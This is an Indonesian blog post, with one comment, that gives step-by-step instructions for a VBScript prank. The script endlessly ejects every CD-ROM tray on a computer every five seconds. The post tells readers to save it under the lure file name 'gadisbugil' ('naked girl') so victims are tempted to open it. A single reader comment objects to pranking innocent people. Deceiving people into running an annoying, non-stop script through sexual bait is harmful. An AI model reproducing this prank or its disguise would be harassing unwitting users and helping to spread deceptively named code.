1.bikin new text document.
2.masukin script berikut;
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
3.save dalam extensi .vbs
4.kasi aja nama "gadisbugil"...
hahahaha...biar napsu nya pada naik buat buka nih script.... OK....met nyoba ya...
Kasian pak jangan kerjai org yg gak bersalah
ReplyDeleteSalam hangat white hat